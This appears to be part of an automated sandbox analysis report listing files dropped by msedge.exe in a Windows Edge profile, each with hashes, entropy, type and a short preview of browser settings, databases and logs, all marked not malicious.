Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b02df564-c5af-407d-b116-b2bfb04de40b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10210815015230897
Encrypted:	false
SSDEEP:	6:Gu0t0/89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Unnf:+S/spEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	51B8F58F765B8143687477C3E9F2B0B6
SHA1:	7AB218C4D443A830B31879D1C83BC9B22DF04696
SHA-256:	DD15A68253DE9C3C4856B9B9CD9465EC17BB1BEA844C73FBF3D0DE8EE88AD217
SHA-512:	7BDDDA6ACFA9C8B754F140F9F51A79C8DB3BBFB27B2D73E3B1699EB65011A534A07B795A76632F9B853FB0B20FE1C0481DE3D1F2985EB6F86CA5E484006EC0C3
Malicious:	false
Preview:	..-.............M...........x.)..XE6.:..?.`8B ::..-.............M...........x.)..XE6.:..?.`8B ::........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8912909360242068
Encrypted:	false
SSDEEP:	384:pT1mKqfar9UQzJd/6blncFay1cZfHv8ey/yFNyFyOryLxyJu:/iZ
MD5:	52A15B26154CA6117901AF7F6C29E88F
SHA1:	224AEBCAA65BBBB820C81424B79BF3ACA63A6097
SHA-256:	72679B535F62FF13A251549CB81F0492CD2951F93CDB5CCD21D9305BE8905269
SHA-512:	9E50A6E2DA5DAD813D1188F60048335013D80BB4C9CD7576B3106DFFC2B80BF74DE05F10BCF7F47C0CFE6834FBA24A5600F5359D0CDEB435402C263CDB786684
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.0422042396233016
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuwq04illR86tkPsedhOfn:lllc8zWrOuuuuuuuuuuWllRp82
MD5:	88ECDDE1AF53225B6797BF4E8C79E97A
SHA1:	CAA54C3218CC5742B9F82085F032F8B91453BC2A
SHA-256:	317FA49236C33B7B94ADC1899399992C0F11C45F969641B805C245320DBE23A9
SHA-512:	0B7B8D828EB6313DE44ACC073174FF4AE7BEF68081A930799C9CADEC6ECA289045245EDFC39A6DC6C915571E30C452F2B2E16F8D85C41B5A8B6B9AD487328DD3
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....K.%.....K.%..........V.e................V.e.................H..0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.267754371384383
Encrypted:	false
SSDEEP:	6:HUOsOJdSQ+q2PCHhJ23oH+TcwtfrK+IFUt8YUOs+gZmw+YUOs+QVkwOCHhJ23oHK:fdSVvBYeb23FUt8Sg/+SI56Yeb3J
MD5:	F9FB61EE14391026EE324AA30BCF8EB7
SHA1:	5E0E28CF55288D91A6091788D11221FA647D7572
SHA-256:	EA4F17101CF4212419A60DA2481C7CE3BBEF32A4AE19D52B4FC99BAE2CF90C7E
SHA-512:	8F642BB1E5E45E708536A73A7515E938D8E20032FD84B4551823BFF08E3027006578A018CF7359DBC3D00E012805A84EAFFB55AF34A72290E347C7889AC2F989
Malicious:	false
Preview:	2024/11/18-07:29:18.683 1b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-07:29:18.684 1b38 Recovering log #3.2024/11/18-07:29:18.684 1b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.267754371384383
Encrypted:	false
SSDEEP:	6:HUOsOJdSQ+q2PCHhJ23oH+TcwtfrK+IFUt8YUOs+gZmw+YUOs+QVkwOCHhJ23oHK:fdSVvBYeb23FUt8Sg/+SI56Yeb3J
MD5:	F9FB61EE14391026EE324AA30BCF8EB7
SHA1:	5E0E28CF55288D91A6091788D11221FA647D7572
SHA-256:	EA4F17101CF4212419A60DA2481C7CE3BBEF32A4AE19D52B4FC99BAE2CF90C7E
SHA-512:	8F642BB1E5E45E708536A73A7515E938D8E20032FD84B4551823BFF08E3027006578A018CF7359DBC3D00E012805A84EAFFB55AF34A72290E347C7889AC2F989
Malicious:	false
Preview:	2024/11/18-07:29:18.683 1b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-07:29:18.684 1b38 Recovering log #3.2024/11/18-07:29:18.684 1b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.262717741350287
Encrypted:	false
SSDEEP:	6:HUOs3eQ+q2PCHhJ23oH+TcwtfrzAdIFUt8YUOs3egZmw+YUOs3eQVkwOCHhJ23o/:vVvBYeb9FUt8ig/+iI56Yeb2J
MD5:	D3C855CEE4E6DA92B5DEC0E009E220B7
SHA1:	801CFADE33D79585B664CC4855A7692DA174037A
SHA-256:	2730CE69232BD786CB7ACDE203D042A3154EA42F5ABAE7115E87FFE7419EA7A3
SHA-512:	37CA96FE6E1F3CE462DCB28E7E347841938A5EF8E4689BC6148F70AD15A0B4E5C931830BD694A1AF89F0936F202733A6A77D1351B0AC5BAF16CC4F9C1C780FCC
Malicious:	false
Preview:	2024/11/18-07:29:18.679 1b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-07:29:18.679 1b38 Recovering log #3.2024/11/18-07:29:18.679 1b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.262717741350287
Encrypted:	false
SSDEEP:	6:HUOs3eQ+q2PCHhJ23oH+TcwtfrzAdIFUt8YUOs3egZmw+YUOs3eQVkwOCHhJ23o/:vVvBYeb9FUt8ig/+iI56Yeb2J
MD5:	D3C855CEE4E6DA92B5DEC0E009E220B7
SHA1:	801CFADE33D79585B664CC4855A7692DA174037A
SHA-256:	2730CE69232BD786CB7ACDE203D042A3154EA42F5ABAE7115E87FFE7419EA7A3
SHA-512:	37CA96FE6E1F3CE462DCB28E7E347841938A5EF8E4689BC6148F70AD15A0B4E5C931830BD694A1AF89F0936F202733A6A77D1351B0AC5BAF16CC4F9C1C780FCC
Malicious:	false
Preview:	2024/11/18-07:29:18.679 1b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-07:29:18.679 1b38 Recovering log #3.2024/11/18-07:29:18.679 1b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF285d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF285df.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28756.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ae37.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e71a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
